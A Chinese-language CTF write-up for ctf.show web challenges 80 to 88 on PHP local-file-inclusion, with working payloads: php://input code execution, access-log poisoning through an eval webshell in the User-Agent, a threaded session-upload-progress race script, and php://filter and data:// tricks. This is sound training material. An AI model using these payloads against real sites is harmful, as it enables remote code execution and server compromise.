web(80)
构建/?file=Php://input
post: <?php system("tac fl0g.php")?>【php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。】
因为我在网上看大部分都使用burp来解决这个题目,然后我的burp他在虚拟机里面一直没有落实在本机上所以就安装了max hackbar来根据大佬的解题方法来进行解题。hackbar在进行伪协议使一直无法传入所以就使用max hackbar【直接在拓展里面搜就可以得到】,来解决。
web(81)
"?file=/var/log/nginx/access.log"
访问日志
这个python脚本运用了爬虫知识
import requests
【引入库】
url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
【目标的url,较访问日志文件】
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
【身份识别,防止UA反爬机制】
data = {
'dotast': 'system("cat fl0g.php");'
}
【插进的数据,运行】
req = requests.get(url=url, headers=headers)
【返回值post和get类型】
result = requests.post(url=url, data=data)
print(result.text)
web(82)
因为过滤了点所以应该是无后缀形式的,而php中我们唯一能控制的无后缀的就是session文件,
大佬的
【For <库名> import <函数名>或*】
【对库来引用。之后可直接使用函数名字。】
import io
import requests
import threading
url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'
【目标】
def write(session):
【定义write函数,调用】
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
【Python在内存中读写数据,用到的模块是StringIO(str:字符串)和BytesIO(字符类型)
得到一个10k的空间】
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
【定义read函数,调用】
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
【#用requests.session()创建session对象,相当于创建了一个特定的会话,帮我们自动保持了cookies。
之后可以使用session来进行post,get请求。】
write = threading.Thread(target=write, args=(session,))
write.daemon = True
【让一个程序后台运行】
write.start()
【运行可以启动多线程】
read(session)
在python中调运函数就可以成功。
web(83)
继续调运上一个函数即可。
web(84)
同上。
web(85)
加入的一段是判断文件是否存在,以及是否存在<号。
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
其中添加了两段循环,看其解释是增加竞争通道使其能够在其将我们所写的代码清除之前将一句话木马写入之后方便我们拿到flag【记得url要改成自己的。】
web(86)
可以使用上一个编码的形式。
web(87)
‘php 读写文件 file_put_contents() 与 file_get_contents() 函数用法_whatday的博客-优快云博客‘这是file_put_contents的讲解。进行文件的读写操作将content写入文件中。
php://filter协议在任意文件读取漏洞中的利用(学习总结)_头秃的bug的博客-优快云博客_php://filter/read=convert php协议中的读写操作解释。
/?file=php://filter/write=string.rot13/resource=2.php
【php://filter/write=string.rot13/resource=2.php】对这一部分进行编码。
构建file,因为在file_put_contents函数中的要求会对file进行一次解码并且因为有对php限制所以我们要对我们所构建的进行在一次url编码,这里的url编码是全编码,就是full url编码,我们可以在notepad++里面进行转换,里面的插件,mime工具进行转换,之后可以在查看2.php来进行查看,而content的使用是因为我们选择了rot13的编码方式所以要在书写完进行一次rot13编码。
<?cuc flfgrz('gnp s*.cuc')?> 之后访问/2.php 就可以得到数据。
web(88)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
这个题目主要是如何得到一个最后没有加号后等号的base64编码。